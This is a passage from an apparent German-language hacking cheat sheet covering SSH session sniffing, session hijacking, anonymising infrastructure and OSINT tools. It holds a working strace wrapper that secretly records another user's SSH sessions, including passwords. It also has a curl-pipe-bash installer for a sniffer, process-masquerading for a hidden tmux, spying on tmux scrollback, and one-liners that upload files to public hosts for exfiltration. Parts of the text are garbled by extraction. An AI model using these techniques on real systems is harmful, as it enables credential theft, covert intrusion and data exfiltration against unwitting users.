Noch dreistere Methode, falls /proc/sys/kernel/yama/ptrace_scope auf 1 gesetzt ist (strace wird bei bereits laufenden SSH-Sitzungen fehlschlagen)
Erstelle ein Wrapper-Skript namens 'ssh', das strace + ssh ausführt, um die Sitzung zu protokollieren:
mkdir -p ~/.local/bin ~/.local/logs
cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF
cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF
chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile
echo -e "\033[1;32mSUCCESS.
Logfiles stored in ~/.local/.logs/.
To uninstall cut & paste this\033[0m:\033[1;36m
grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile
rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"
(thanks to Gerald for testing this)
</details>
Die SSH-Sitzung wird beim nächsten Mal, wenn der Benutzer sich in seiner Shell anmeldet und SSH verwendet, mitgeschnitten und unter *~/.ssh/logs/* protokolliert.
<a id="ssh-sniffing-sshit"></a>
**10.vi Mitschneiden der ausgehenden SSH-Sitzung eines Benutzers mit SSH-IT**
Der einfachste Weg ist die Verwendung von [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"
10.vii Hijack / Übernahme einer laufenden SSH-Sitzung
Verwenden Sie https://github.com/nelhage/reptyr, um eine bestehende SSH-Sitzung zu übernehmen:```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T
---
<a id="vpn-shell"></a>
## 11. VPN & Shells
<a id="shell"></a>
**11.i. Wegwerf-Root-Server**```console
$ ssh [email protected] # Use password 'segfault'
Vertrauenswürdige VPN-Anbieter
Virtuelle private Server. Bitte offshore.cat prüfen.
Weitere KYC-freie Dienste (.onion)
Proxys (wir nutzen keine davon)
curl -x socks5h://$(PROXY) ipinfo.io - wählt für jede Anfrage einen zufälligen Proxy ausViele weitere Dienste (kostenlos)
Reverse-DNS aus mehreren öffentlichen Datenbanken:```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }
Finde Subdomains aus der TLS/THC-IP-Datenbank:```sh
sub() {
[ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
| OSINT-Hacker-Tools | |
|---|---|
| https://api.c99.nl | Kostenlos: Subdomain Finder, KOSTENPFLICHTIG: Phone-Lookup, CF Resolver, WAF Detector, IP2Host und mehr... für 25 $/Jahr. |
| https://osint.sh | Kostenlos. Subdomain Finder, DNS-Verlauf, öffentliche S3-Buckets, Reverse IP, Zertifikatssuche und mehr |
| https://cli.fyi | Kostenlos. curl/json-Schnittstelle zu vielen Diensten. Probieren Sie curl cli.fyi/me oder curl cli.fyi/thc.org. |
| https://check-your-website.server-daten.de | Kostenlos. TLS/DNS/Sicherheitscheck für eine Domain. |
| https://ipsniper.info/api.html | rDNS/fDNS- und andere IP-Informationswerkzeuge |
| https://ip.thc.org | fDNS/rDNS-Lookup: curl -fL ip.thc.org/140.82.121.3 |
| https://hackertarget.com/ip-tools/ | Kostenloser OSINT-Dienst (Reverse IP, MTR, Portscan, CMS-Scans, Schwachstellenscans, API-Unterstützung) |
| https://account.shodan.io/billing/tour | Offene-Port-Datenbank & DNS-Lookup aus der ganzen Welt |
| https://dnsdumpster.com/ | Domain-Recon-Tool |
| https://crt.sh/ | TLS-Zertifikatssuche |
| https://archive.org/web/ | Historische Ansicht von Websites |
| https://www.farsightsecurity.com/solutions/dnsdb/ | DNS-Suche (nicht kostenlos) |
| https://wigle.net/ | WLAN-Netzwerk-Mapper |
| https://radiocells.org/ |
| OSINT für Ermittler | |
|---|---|
| https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list | Nixintels OSINT-Ressourcenliste |
| https://github.com/jivoi/awesome-osint | Awesome-OSINT-Liste |
| https://cipher387.github.io/osint_stuff_tool_collection/ | OSINT-Werkzeugsammlung |
| https://osintframework.com/ | Viele OSINT-Werkzeuge |
| OSINT-Datenbanken | |
|---|---|
| https://data.ddosecrets.com/ | Datenbank-Dumps |
Kommunikation
OpSec
exiftool -all= example.pdf example1.jpg ...)Exploits
Systeminformationen sammeln
curl -fsSL https://thc.org/ws | bash - Alle Domains anzeigen, die auf einem Server gehostet werden + Systeminformationengetexploit eingeben)Backdoors
Netzwerkscanner
Schwachstellenscanner (Achtung: Diese liefern alle 99 % nicht ausnutzbare Fehlalarme. Sie taugen alle nichts.)
DDoS
Statische Binaries / vorkompilierte Werkzeuge
Phishing
Werkzeuge
Callback / Canary / Command & Control
Tunneling
blitz -l / blitz foo.txtexfil eingebencurl -T foo.txt https://oshi.atcurl -F'[email protected]' https://0x0.st/curl -T foo.txt https://transfer.shcurl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.phpcroc send foo.txt / croc anit-price-exampleForen und Konferenzen
Mindmaps & Wissen
| Tmux-Spickzettel | |
|---|---|
| Maximaler Puffer | Ctrl-b + : + set-option -g history-limit 65535 |
| Scrollback speichern | Ctrl-b + : + capture-pane -S - gefolgt von Ctrl-b + : + save-buffer filename.txt. |
| Scrollback ausspionieren | tmux capture-pane -e -pS- -t 6.0, um Pane 6, Fenster 0 einer laufenden tmux-Sitzung zu erfassen. Entferne -e, um ohne Farbe zu speichern. |
| Löschen | tmux send-keys -R C-l \; clear-history -t6.0, um den Bildschirm zu löschen und den Scrollback-Verlauf zu entfernen. |
| Protokollierung | Ctrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'Drücke Ctrl-b + Shift + P, um zu starten und zu stoppen. |
| Verstecktes Tmux | cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cacheUm dich mit deiner Sitzung zu verbinden, führe aus cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach |
| Verbinden | Starte ein neues tmux, tippe dann Ctrl-b + s und verwende LEFT, RIGHT, um eine beliebige Sitzung anzusehen und auszuwählen. |
| Menü | Ctrl-b + >. Verwende dann Ctrl-b + UP, DOWN, LEFT oder RIGHT, um zwischen den Panes zu wechseln. |
Verwende lsof -Pni oder netstat -putan (oder ss -putan), um alle Internetverbindungen (-tu) aufzulisten.
Verwende ss -lntp, um alle lauschenden (-l) TCP-Sockets (-t) anzuzeigen.
Verwende netstat -rn oder ip route show, um die Standard-Internetroute anzuzeigen.
Verwende curl cheat.sh/tar, um TLDR-Hilfe für tar zu erhalten. Funktioniert mit jedem anderen Linux-Befehl.
Verwende curl -fsSL bench.sh | bash, um die Geschwindigkeit eines Servers zu testen.
Hacking über Verbindungen mit hoher Latenz oder langsamen Verbindungen kann frustrierend sein. Jeder Tastendruck wird einzeln übertragen und jeder Tippfehler wird umso frustrierender und zeitaufwändiger, ihn rückgängig zu machen. rlwrap kommt zur Rettung. Es puffert alle einzelnen Tastendrücke, bis Enter gedrückt wird, und überträgt dann die gesamte Zeile auf einmal. Das macht das Tippen mit hoher Geschwindigkeit und das Korrigieren von Tippfehlern ... viel einfacher.
Beispiel für das Empfangsende eines Reverse-Tunnels:```sh rlwrap --always-readline nc -vnlp 1524
Beispiel für *SSH*:```sh
rlwrap --always-readline ssh user@host
Es gibt viele Wege, aber einer ist:
Shoutz: ADM, subz/#9x, DrWho, spoty Tritt uns auf Telegram bei.
| Informationen zu Mobilfunkmasten |
| https://www.shodan.io/ | Suchmaschine zum Finden von Geräten & Bannern (nicht kostenlos) |
| https://spur.us/context/me | IP-Bewertung https://spur.us/context/<IP> |
| http://drs.whoisxmlapi.com | Reverse-Whois-Lookup (nicht kostenlos) |
| https://www.abuseipdb.com | IP-Missbrauchsbewertung |